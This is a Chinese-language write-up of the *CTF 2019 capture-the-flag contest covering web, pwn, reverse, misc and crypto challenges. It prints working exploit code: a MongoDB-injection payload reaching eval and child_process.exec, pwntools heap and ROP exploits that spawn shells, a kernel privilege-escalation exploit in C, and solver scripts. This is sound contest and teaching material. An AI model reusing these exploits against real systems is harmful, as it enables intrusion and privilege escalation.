*CTF 2019 Writeup

Web

996game |

对比源码:

https://github.com/Jerenaux/phaserquest

http://34.92.25.123:10081/js/server/GameServer.js

发现

GameServer.loadPlayer = function(socket,id){
    GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){
        if(err) {
        if(!doc) {
            eval(err.message.split(':').pop());
        }
        throw err;
    }
        if(!doc) {
        return;
        }
        var player = new Player();
        var mongoID = doc._id.toString();
        player.setIDs(mongoID,socket.id);
        player.getDataFromDb(doc);
        GameServer.finalizePlayer(socket,player);
    });
};

mongodb报错信息进了eval,可控造成任意代码执行

跟进看在哪调用了

socket.on('init-world',function(data){
        if(!gs.mapReady) {
            socket.emit('wait');
            return;
        }
        if(data.new) {
            if(!gs.checkSocketID(socket.id)) return;
            gs.addNewPlayer(socket,data);
        }else{
            if(!gs.checkPlayerID(data.id)) return;
            gs.loadPlayer(socket,data.id);
        }
    });

从hint来看:nodejs mongodb注入
payload:
Client.socket.emit('init-world',{"new": false, "clientTime": Date.now(), "id":{'$gt':1,'c:require('child_process').exec('ls');':'d','toHexString':1,'id':'5cc559df7f9a1207d7edf64a'}});

可以命令执行

然后又又又看到了/readflag,这次没有php,所以用python

import subprocess

x = subprocess.Popen('/readflag',stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
s = x.stdout.readline()
s = x.stdout.readline()
s=s.decode()
print(s)
k = eval(s)
print(k)
print(x.communicate((str(k)+'\n').encode())[0])

mywebsql |

弱口令 admin/admin

http://www.dptech.com/index.php?m=content&c=index&a=show&catid=75&id=3498
最近的洞
可以直接getshell,看看目录有啥

看到/readflag 和 /flag
/readflag随机生成一个加减乘除表达式,输入表达式的值即可cat flag

写个php进程通信脚本

<?php
$a = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("file", "/tmp/err.log", "a")
);

$cwd = "/";
$env = array();

$process = proc_open("/readflag", $a, $pipes, $cwd, $env);

if (is_resource($process)) {
    $a = fread($pipes[1], 1024);
    $a = fread($pipes[1], 1024);
    
    $a = explode("\n", $a);
    eval("\$result = $a[0];");
    fwrite($pipes[0], "$result\n");
    var_dump(fread($pipes[1], 1024));
    var_dump(fread($pipes[1], 1024));
}
?>

Pwn

Pwn1 quicksort |

爆破即可

from pwn import *
count = 0
while(1):
    try:
        count = count + 1
        log.success('test:' + str(count))
        #p = process('./quicksort')
        p = remote('34.92.96.238','10000')
        addr_puts_plt = 0x08048560
        addr_aoti_got_plt = 0x0804A038
        addr_aoti = 0xf7e30250
        addr_system = 0xf7e3dda0
        p.sendlineafter('to sort?', str(99))
        p.sendlineafter('number:', '1')
        num = '-472014848'
        payload = num + 'a' * (16-len(num)) #buf
        payload+= p32(99) #number
        payload+= p32(0) #i
        payload+= p32(0) #j
        payload+= p32(addr_aoti_got_plt-0x1) #ptr
        p.sendlineafter('number:', payload)
        payload = num + 'a' * (16-len(num)) #buf
        payload+= p32(99) #number
        payload+= p32(0) #i
        payload+= p32(0) #j
        payload+= p32(addr_aoti_got_plt+0x8) #ptr
        p.sendlineafter('number:', '/bin/sh\x00')
        p.sendline('echo lsss')
        lsss=p.recvrepeat(timeout=0.2)
        if "lsss" in lsss:
            p.interactive()
        else:
            p.close()
            continue
    except Exception as e:
        print e.message
        p.close()

Pwn2 girlfriend |

申请9个0x70chunk之后free掉七个,剩下两个触发double free,然后可以任意地址写了
system写在free_hook上.

from pwn import *
context.log_level = 'debug'
#p = process('./chall',env={'LD_PRELOAD':'./libc.so.6'})
p = remote('34.92.96.238','10001')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./lib/libc.so.6')
def add(size, name, call):
    p.sendlineafter('choice:', str(1))
    p.sendlineafter('size', str(size))
    p.sendafter('her name:', name)
    p.sendafter('her call:', call)

def show(index):
    p.sendlineafter('choice:', str(2))
    p.sendlineafter('index:', str(index)) 

def delete(index):
    p.sendlineafter('choice:', str(4))
    p.sendlineafter('index:', str(index))


add(0x600, 'a', 'aaaa') #0
add(0x68, 'b'*0x20, 'bbbb') #1
delete(0)
show(0)
p.recvuntil('name:\n')
libc_base = u64(p.recvuntil('\nphone:')[0:6].ljust(8,'\x00')) - 96 -0x10 - libc.symbols['__malloc_hook']
log.success('libc_base:'+hex(libc_base))
for i in range(0,8):
    add(0x68, 'b'*0x20, 'bbbb')
for i in range(1,8):
    delete(i)
delete(8)
delete(9)
delete(8)
for i in range(0,7):
    add(0x68, 'e'*0x20, 'bbbb')
addr_free_hook = libc_base + libc.symbols['__free_hook']
addr_system = libc_base + libc.symbols['system']

add(0x68, p64(addr_free_hook), 'bbbb')
add(0x68, p64(addr_free_hook), 'bbbb')
add(0x68, p64(addr_free_hook), 'bbbb')
add(0x600, '/bin/sh\x00', 'aaaa') #20
add(0x68, p64(addr_system), 'bbbb')
delete(20)

p.interactive()

pwn3 upxofcpp |

upx -d 直接脱壳

upx加壳后堆是可执行的...直接在堆上写shellcode

from pwn import *
import struct
context.log_level="debug"
context.bits=64
context.arch="amd64"
def add(index,size,number):
    f.sendlineafter("choice:","1")
    f.sendlineafter("Index:",str(index))
    f.sendlineafter("Size:",str(size))
    print number
    f.sendlineafter("stop:",' '.join(number))
def dele(index):
    f.sendlineafter("choice:","2")
    f.sendlineafter("index:",str(index))
#f=process("./upxofcpp")
f=remote("34.92.121.149",10000)
add(0,0x30/4,['1','-1'])
add(1,0x20/4,['1','-1'])
add(2,0x20/4,['1','-1'])#useful
add(3,0x20/4,['1','-1'])
dele(1)
dele(2)
dele(0)
add(4,0x10/4,['-1'])
dele(3)
add(5,0x500/4,['-1'])
add(6,0x20/4,['-1'])
shellcode=asm(shellcraft.sh())
shell_list=[]
i=0
while i <len(shellcode):
    a,=struct.unpack("i",shellcode[i:i+4])
    shell_list.append(str(a))
    i+=4
shell_list.append("-1")
add(7,0x90,shell_list)
dele(2)
f.interactive()

pwn4 blind |

return_addr=0x400719+4
loop_addr=0x400719-40

from pwn import *
return_addr=0x400719+4
loop_addr=0x400719-40

f=remote("34.92.37.22",10000)
f.send("a"*40+p64(loop_addr))
f.recvuntil("a"*40)
for i in range(4):
    f.recv(8)
libc=u64(f.recv(8))-0x20830#libc_start_main
one_gadget=0x45216+libc
f.send("a"*40+p64(one_gadget))

f.interactive()

pwn6 babyshell |

push 0x3000的汇编为 h \x00 ...截断过了

from pwn import *
context.arch = 'amd64'

#p = process('./shellcode')
p = remote('34.92.37.22','10002')
shellcode = ''' 
push 0x3000
'''
shell = asm(shellcode)
shell += asm(shellcraft.sh())
#gdb.attach(p)
p.sendafter("plz:", shell)
p.interactive()

pwn8 hacke_me |

kernel pwn
hackme 16384 - - Live 0xffffffffc0000000 (O)
ioctl处理的时候没有对index的大小进行
write_offset和size大小不分正负

0xffffffffc0002440
···
0xffff88800effb000
0xffff88800effb400
···
ffffffff8104d3d0 T prepare_kernel_cred
ffffffff816c9c40 r __ksymtab_prepare_kernel_cred
ffffffff816cf873 r __kstrtab_prepare_kernel_cred
ffffffff8104d160 T prepare_creds
ffffffff816c9c38 r __ksymtab_prepare_creds
ffffffff816cf8bc r __kstrtab_prepare_creds
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <linux/sched.h>
#define kernel_show 0x30003
#define kernel_malloc 0x30000
#define kernel_free 0x30001
#define kernel_edit 0x30002
struct frame{
    long long index_offset;
    unsigned char * user_pt;
    unsigned long long malloc_size;
    long long write_offset;
}__attribute__((packed));
int myMemmem(char * a, int alen, char * b, int blen)
{
    int i, j;
    for (i = 0; i <= alen - blen; ++ i)
    {
        for (j = 0; j < blen; ++ j)
        {
            if (a[i + j] != b[j])
            {
                break;
            }
        }
        if (j >= blen)
        {
            return i;
        }
    }
    return -1;
}
struct frame tf;
int main(void)
{
    long long found;
    int fd=open("/dev/hackme",0);
    printf("%d\n",fd);
    char *s=mmap(0,0x180000,PROT_WRITE | PROT_READ,34,-1,0);
    printf("string adrress :%p\n",s);
    int i;
    char cred[0x20];
    *(size_t *)cred = 0x000003e800000003;
    *(size_t *)(cred+8) = 0x000003e8000003e8;
    *(size_t *)(cred+0x10) = 0x000003e8000003e8;
    *(size_t *)(cred+0x18) = 0x000003e8000003e8;
    char f[400];
    tf.user_pt=s;
    tf.malloc_size = 0x20;
    tf.write_offset = 0x0;
    for (i=0;i<=5;i++)
    {
        tf.index_offset= i;
        printf("%d\n",ioctl(fd,kernel_malloc,&tf));
    }
    tf.index_offset=0;
    tf.write_offset=-0x136000;
    tf.malloc_size = 0x136000;
    printf("%d\n",ioctl(fd,kernel_show,&tf));
    puts("start to find cred...");
    found = myMemmem(s,0x13a000,cred,0x20);
    if (found==-1)
    {
        puts("[-]cannot find cred struct !");
        exit(-1);
    }
    printf("found cred offset:%x\n",found);
    tf.write_offset = 0;
    tf.malloc_size = 0x20;
    tf.index_offset=1;
    printf("%d\n",ioctl(fd,kernel_free,&tf));
    tf.index_offset=3;
    printf("%d\n",ioctl(fd,kernel_free,&tf));
    tf.index_offset=4;
    tf.malloc_size =0x20;
    tf.write_offset =-0x20;
    //*(unsigned long long *)s=0xffff888000025a00;
    long long cred_addr;
    
    printf("%d\n",ioctl(fd,kernel_show,&tf));
    cred_addr=*(long long *)s -0x20*1-0x136000+found;

    printf("cred_addr:%llx\n",cred_addr);
    tf.index_offset=4;
    tf.malloc_size =0x20;
    tf.write_offset =-0x20;
    *(unsigned long long *)s=cred_addr-0x10;
    printf("%d\n",ioctl(fd,kernel_edit,&tf));
    for (i=6;i<=7;i++)
    {
        tf.index_offset= i;
        if(i==7)
        {
        *(long long *)s=0;
        *((long long *)s+1)=0;
        *((long long *)s+2)=0;
        *((long long *)s+3)=0;
        }
        printf("%d\n",ioctl(fd,kernel_malloc,&tf));
    }
    tf.index_offset=4;
    printf("%d\n",ioctl(fd,kernel_free,&tf));
    tf.index_offset=5;
    *(unsigned long long *)s=cred_addr;
    printf("%d\n",ioctl(fd,kernel_edit,&tf));
    *(unsigned long long *)s=0;
    tf.index_offset=8;
    printf("%d\n",ioctl(fd,kernel_malloc,&tf));
    tf.index_offset=9;
    printf("%d\n",ioctl(fd,kernel_malloc,&tf));
    printf("root succcess!\n");
    system("/bin/sh");
    return 0;
}

Re

yy |

根据语法分析器,可以搜关于那个分析器的源码,虽然没卵用
调试可以得到如下类似虚拟机的对应关系表

0F -- a
10 -- b
11 -- c
12 -- d
13 -- e
14 -- f
15 -- g
16 -- h
17 -- i
18 -- j
19 -- k
1A -- l
1B -- m
1C -- n
1D -- o
1E -- p
1F -- q
20 -- r
21 -- s
22 -- t
23 -- u
24 -- v
25 -- w
26 --x
27 --y
28 --z
29 -- 0
2A -- 1
2B -- 2
2C -- 3
2D -- 4
2E -- 5
2F -- 6
30 -- 7
31 -- 8
32 -- 9

然后逆向可以知道需要多次加密,每次16字节,总共9组,每组的输入覆盖buffer的前某几位(根据每组的输入而定),每组要用某个符号进行分割,,于是调试了一些常见的分割符号,终于发现是_
然后逆一下算法,每组16字节,与上一组的result异或,然后进入一个循环加密代码块,最后相互调换字节位存储起来,再与一个固定的xmmword_56470E732160异或,然后存起来,下一次加密时会用到这轮的,使用z3循环逆算法,z3有点小坑,>>不能正常实现,卡了半天,应该采用&128/128
由于是先逆的算法,所以到后面写循环有点麻烦,所以写了9个脚本,贴上其中一个,每个脚本仅需要更改12行中的cmpcode[i+16*n]和倒数第八行的^cmp_code[i+16*(n-1)](这个脚本是第一个,为0,所以没加),n是第n个脚本(从0开始)

'''
a = 0xAE4614F82A40CF5031D3FE048C061212
b = 0xD014F9A8C9EE2589E13F0CC8B6630CA6
print hex(a^b)
'''
#key1 = [0x7e,0x52,0xed,0x50,0xe3,0xae,0xea,0xd9,0xd0,0xec,0xf2,0xcc,0x3a,0x65,0x1e,0xb4] #Int
#buf 0,5,10,15,4,9,14,3,8,13,2,7,12,1,6,11
from z3 import *
cmp_code = [ 0xae, 0x46, 0x14, 0xf8, 0x2a, 0x40, 0xcf, 0x50, 0x31, 0xd3, 0xfe, 0x4, 0x8c, 0x6, 0x12, 0x12, 0x23, 0xfa, 0xc7, 0x26, 0xe8, 0x61, 0xd9, 0xc3, 0xa9, 0x3c, 0x45, 0x70, 0x1a, 0xc7, 0xf0, 0x3d, 0xdf, 0xbe, 0xbc, 0x16, 0xab, 0x6e, 0x37, 0xac, 0x14, 0x8b, 0x9c, 0x94, 0xf7, 0x5d, 0x62, 0x78, 0xfc, 0x16, 0x98, 0x1d, 0xb2, 0x31, 0xd3, 0x5a, 0xdc, 0x3a, 0x60, 0x86, 0x9a, 0xca, 0x7b, 0xa3, 0xb5, 0xd5, 0xf1, 0xb2, 0xd9, 0xff, 0xd2, 0x9, 0xd4, 0x77, 0xd7, 0x3d, 0xc0, 0x56, 0x19, 0x2, 0xb6, 0x9b, 0x42, 0x6c, 0xe8, 0xa2, 0x77, 0xe3, 0x99, 0xac, 0x32, 0x40, 0x91, 0xa9, 0x2a, 0x86, 0xf3, 0xfa, 0x47, 0x3c, 0xc3, 0x5c, 0x41, 0x9b, 0xe8, 0x5, 0x7, 0xd0, 0xd4, 0x30, 0x5a, 0x9e, 0x8d, 0x52, 0x9b, 0xa3, 0xfb, 0xad, 0xb6, 0x44, 0x3f, 0x72, 0x83, 0x9c, 0x22, 0x77, 0xfe, 0x48, 0xfe, 0x86, 0x84, 0x12, 0x0, 0x4e, 0xed, 0xff, 0xac, 0x44, 0x19, 0x23, 0x84, 0x1f, 0x12, 0xca, 0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x9, 0xcf, 0x4f, 0x3c ]
xmmword_55BFEA477160 = [ 0xd0, 0x14, 0xf9, 0xa8, 0xc9, 0xee, 0x25, 0x89, 0xe1, 0x3f, 0xc, 0xc8, 0xb6, 0x63, 0xc, 0xa6 ]
key1 = [0 for i in range(16)]
for i in range(len(xmmword_55BFEA477160)):
    key1[i] = cmp_code[i]^xmmword_55BFEA477160[i]
#print key1
turn = [0,5,10,15,4,9,14,3,8,13,2,7,12,1,6,11]
#key1 = [0xD7,0xDF,0xAD,0x6A,0x15,0x1B,0xFC,0x5B,0x78,0x9A,0xB6,0xF1,0x3A,0x12,0xE4,0x44]  #test:_mm_load_si128(&v60)
buf = [0 for i in range(len(key1))]
table = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
tmp1 = []
for i in range(len(key1)):
    for j in range(len(table)):
        if key1[i] == table[j]:
            tmp1.append(j)
print tmp1
for i in range(len(turn)):
    buf[turn[i]] = tmp1[i]
print buf
#xmmword_55BFEA477160 = 0x558A0D64D160
unk_55BFEA4770D0 = 0x558A0D64D0D0
unk_56339FBE40D0 = [ 0xa0, 0xfa, 0xfe, 0x17, 0x88, 0x54, 0x2c, 0xb1, 0x23, 0xa3, 0x39, 0x39, 0x2a, 0x6c, 0x76, 0x5, 0xf2, 0xc2, 0x95, 0xf2, 0x7a, 0x96, 0xb9, 0x43, 0x59, 0x35, 0x80, 0x7a, 0x73, 0x59, 0xf6, 0x7f, 0x3d, 0x80, 0x47, 0x7d, 0x47, 0x16, 0xfe, 0x3e, 0x1e, 0x23, 0x7e, 0x44, 0x6d, 0x7a, 0x88, 0x3b, 0xef, 0x44, 0xa5, 0x41, 0xa8, 0x52, 0x5b, 0x7f, 0xb6, 0x71, 0x25, 0x3b, 0xdb, 0xb, 0xad, 0x0, 0xd4, 0xd1, 0xc6, 0xf8, 0x7c, 0x83, 0x9d, 0x87, 0xca, 0xf2, 0xb8, 0xbc, 0x11, 0xf9, 0x15, 0xbc, 0x6d, 0x88, 0xa3, 0x7a, 0x11, 0xb, 0x3e, 0xfd, 0xdb, 0xf9, 0x86, 0x41, 0xca, 0x0, 0x93, 0xfd, 0x4e, 0x54, 0xf7, 0xe, 0x5f, 0x5f, 0xc9, 0xf3, 0x84, 0xa6, 0x4f, 0xb2, 0x4e, 0xa6, 0xdc, 0x4f, 0xea, 0xd2, 0x73, 0x21, 0xb5, 0x8d, 0xba, 0xd2, 0x31, 0x2b, 0xf5, 0x60, 0x7f, 0x8d, 0x29, 0x2f, 0xac, 0x77, 0x66, 0xf3, 0x19, 0xfa, 0xdc, 0x21, 0x28, 0xd1, 0x29, 0x41, 0x57, 0x5c, 0x0, 0x6e ]
for j in range(len(table)):
    if table[j] == 147:
        print j
for i in range(0x558A0D64D160,0x558A0D64D0D0,-0x10):
    buf0 = BitVec('buf0',8)
    buf1 = BitVec('buf1',8)
    buf2 = BitVec('buf2',8)
    buf3 = BitVec('buf3',8)
    buf4 = BitVec('buf4',8)
    buf5 = BitVec('buf5',8)
    buf6 = BitVec('buf6',8)
    buf7 = BitVec('buf7',8)
    buf8 = BitVec('buf8',8)
    buf9 = BitVec('buf9',8)
    buf10 = BitVec('buf10',8)
    buf11 = BitVec('buf11',8)
    buf12 = BitVec('buf12',8)
    buf13 = BitVec('buf13',8)
    buf14 = BitVec('buf14',8)
    buf15 = BitVec('buf15',8)
    buf128 = BitVec('buf128', 8)
    for j in range(16):
        buf[j] ^= unk_56339FBE40D0[i-0x558A0D64D0D0-16+j]
    print buf
    print buf[0]
    s = Solver()
#    s.add(390^194^27 == 2 * (buf5^buf0)^(buf15^buf10^buf5)^(27*((buf5^buf0)/128)))
#    s.add(95 == (2 * (buf5^buf0)^(buf15^buf10^buf5)^(27*((buf5^buf0)>>7)))%256)
    s.add(buf[0] == (2 * (buf5^buf0)^(buf15^buf10^buf5)^(27*(((buf5^buf0)&128)/128)))%256)
    s.add(buf[1] == (2 * (buf10^buf5)^(buf15^buf10^buf0)^(27*(((buf5^buf10)&128)/128)))%256)
    s.add(buf[2] == (2 * (buf10^buf15)^(buf15^buf5^buf0)^(27*(((buf15^buf10)&128)/128)))%256)
    s.add(buf[3] == (2 * (buf0^buf15)^(buf10^buf5^buf0)^(27*(((buf15^buf0)&128)/128)))%256)
    s.add(buf[4] == (2 * (buf9^buf4)^(buf14^buf9^buf3)^(27*(((buf9^buf4)&128)/128)))%256)
    s.add(buf[5] == (2 * (buf9^buf14)^(buf14^buf4^buf3)^(27*(((buf9^buf14)&128)/128)))%256)
    s.add(buf[6] == (2 * (buf3^buf14)^(buf3^buf4^buf9)^(27*(((buf3^buf14)&128)/128)))%256)
    s.add(buf[7] == (2 * (buf3^buf4)^(buf14^buf4^buf9)^(27*(((buf3^buf4)&128)/128)))%256)
    s.add(buf[8] == (2 * (buf8^buf13)^(buf13^buf7^buf2)^(27*(((buf13^buf8)&128)/128)))%256)
    s.add(buf[9] == (2 * (buf13^buf2)^(buf2^buf7^buf8)^(27*(((buf13^buf2)&128)/128)))%256)
    s.add(buf[10] == (2 * (buf2^buf7)^(buf13^buf7^buf8)^(27*(((buf2^buf7)&128)/128)))%256)
    s.add(buf[11] == (2 * (buf7^buf8)^(buf13^buf8^buf2)^(27*(((buf7^buf8)&128)/128)))%256)
    s.add(buf[12] == (2 * (buf1^buf12)^(buf11^buf6^buf1)^(27*(((buf1^buf12)&128)/128)))%256)
    s.add(buf[13] == (2 * (buf1^buf6)^(buf6^buf12^buf11)^(27*(((buf1^buf6)&128)/128)))%256)
    s.add(buf[14] == (2 * (buf6^buf11)^(buf12^buf11^buf1)^(27*(((buf6^buf11)&128)/128)))%256)
    s.add(buf[15] == (2 * (buf11^buf12)^(buf6^buf12^buf1)^(27*(((buf11^buf12)&128)/128)))%256)
    print s.check()
    m = s.model()
    tmp = [0 for i in range(16)]
    for i in s.model():
        if str(i) == "buf0":
            tmp[0] = s.model()[i]
        elif str(i) == "buf1":
            tmp[1] = s.model()[i]
        elif str(i) == "buf2":
            tmp[2] = s.model()[i]
        elif str(i) == "buf3":
            tmp[3] = s.model()[i]
        elif str(i) == "buf4":
            tmp[4] = s.model()[i]
        elif str(i) == "buf5":
            tmp[5] = s.model()[i]
        elif str(i) == "buf6":
            tmp[6] = s.model()[i]
        elif str(i) == "buf7":
            tmp[7] = s.model()[i]
        elif str(i) == "buf8":
            tmp[8] = s.model()[i]
        elif str(i) == "buf9":
            tmp[9] = s.model()[i]
        elif str(i) == "buf10":
            tmp[10] = s.model()[i]
        elif str(i) == "buf11":
            tmp[11] = s.model()[i]
        elif str(i) == "buf12":
            tmp[12] = s.model()[i]
        elif str(i) == "buf13":
            tmp[13] = s.model()[i]
        elif str(i) == "buf14":
            tmp[14] = s.model()[i]
        elif str(i) == "buf15":
            tmp[15] = s.model()[i]
    for k in range(16):
        for j in range(len(table)):
            if table[j] == tmp[k]:
                buf[k] = j
                break
#    print m
#    print tmp
    print buf

encode_key1 = [ 0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x9, 0xcf, 0x4f, 0x3c ]
for i in range(16):
    buf[i] ^= encode_key1[i]#^cmp_code[i+16*(n-1)]
    print hex(buf[i])[2:],
box = [ 0x82, 0x5, 0x86, 0x8a, 0xb, 0x11, 0x96, 0x1d, 0x27, 0xa9, 0x2b, 0xb1, 0xf3, 0x5e, 0x37, 0x38, 0xc2, 0x47, 0x4e, 0x4f, 0xd6, 0x58, 0xde, 0xe2, 0xe5, 0xe6, 0x67, 0x6b, 0xec, 0xed, 0x6f, 0xf2, 0x73, 0xf5, 0x77, 0x7f]
print buf
for i in range(16):
    for j in range(len(box)):
        if buf[i] == box[j]:
            print str(i)+" "+hex(j+0xF)

根据得到的连续的前某几个字节,对照上面的映射码,一个个推导出来,可得flag:*CTF{yy_funct10n_1s_h4rd_and_n0_n33d_to_r3v3rs3}
果然如flag所说,我花在yy上面的时间也就几十分钟,时间全被坑在z3和逆算法里了

Misc

SHE |

看了下是一个用RPG maker写的游戏,可以先用RPGVX工具修改存档,把角色等级、技能、装备等升满,顺便把敏捷修正之类的属性也加满。此时打左下房间里的鸟虽然还是0点伤害,但可以给对面下毒使之掉血,注意自身血量及时奶苟到敌方被毒死,进入后面的房间。先打开第三个房间的门,但不要去开宝箱,直接去后面的门打开,一个个试,就能打开最终的门,里面的信息提示密码为前面房间内宝箱按顺序的数字的md5,即md5(213697)

otaku |

文件里有一个flag.zip跟一个word文档,注意到flag.zip中有一个flag.png与一个last words.txt。用zip方式打开word文档,发现在原文里有一段被隐藏的话,结合上下文怀疑就是last words.txt中的信息。提取出来后用GBK编码,再压缩,发现文件的CRC与flag.zip中的last words.txt相同。于是使用已知明文攻击破解出密码为My_waifu,获得flag.png,在LSB通道获得了flag

Crypto

babyprng 1 and 2 |

import string
from hashlib import sha256

import socket
from itertools import permutations
def pow_slove(s1,s2):
    for x in permutations(string.ascii_letters+string.digits, 4):
        ss=''.join(x)
        s=ss+s1
        if sha256(s).hexdigest() == s2:
            return ss

poc1="0500"*15+"4f"
poc2="0112053400011200390536"
socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


def solve(ip,port,poc):
    socks.connect((ip, port))
    res=socks.recv(1024)
    res+=socks.recv(1024)
    ss1=res[12:28]
    ss2=res[33:97]
    rep=pow_slove(ss1,ss2)
    socks.send(rep+"\n")
    socks.recv(1024)
    socks.send(poc+"\n")
    end=socks.recv(1024)
    print end
    socks.close()

solve("34.92.185.118",10002,poc1)

solve("34.92.185.118",10003,poc2)
tagged by none  

Post a new comment

© 2014 ::L Team::